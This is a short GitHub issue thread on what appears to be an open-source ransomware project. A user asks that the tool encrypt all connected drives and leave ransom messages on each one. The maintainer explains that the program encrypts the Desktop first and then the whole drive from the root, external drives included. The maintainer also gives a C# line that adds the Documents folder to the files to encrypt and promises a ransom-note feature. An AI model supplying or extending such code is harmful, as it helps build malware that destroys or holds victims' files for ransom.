Encrypting other connected hard drives
Closed this issue ยท 2 comments
Please, Add encrypting full HDD other connected hard drives instead of only Desktop.Create message in *.html or *.txt files for all Drives and in Desktop
Thanks for this nice project
Hello @Abraham313
It is encrypting the entire HDD and even external hard drives (at least it was designed to do so). I tried to "prioritise" encrypting the Desktop fist, then the entire HDD because it can take a lot of time until the complete drive is encrypted.
You might tried it in a VM and only saw that the desktop was encrypted right? Afterwards it should start encrypting the hole drive. You might just not notice it because it works its path from the root directory to all sub directories.
i.e.:
C:\
C:\Programs\
C:\Programs\AppName
...
...
C:\Users\User\Documents
...
So it would take some time to get there. As you can see here (Line 182), it tries to get all files from the Desktop first. If you want to encrypt Documents folder afterwards too, you can add this line as example (code untested). It is important that you add those files to the array desktopFiles
before the foreach
loop that is following (this loop).
desktopFiles += Directory.GetFiles(Environment.GetFolderPath(Environment.SpecialFolder.Documents), "*.*", SearchOption.AllDirectories);
If you need any help just connect me again or create a new issue ๐
About .html message
I will add a feature that can be enabled with a bool that will create an html file on each drive containing a predefined message that can be changed ๐๐ป
I have got it.Thanks for the nice explanation.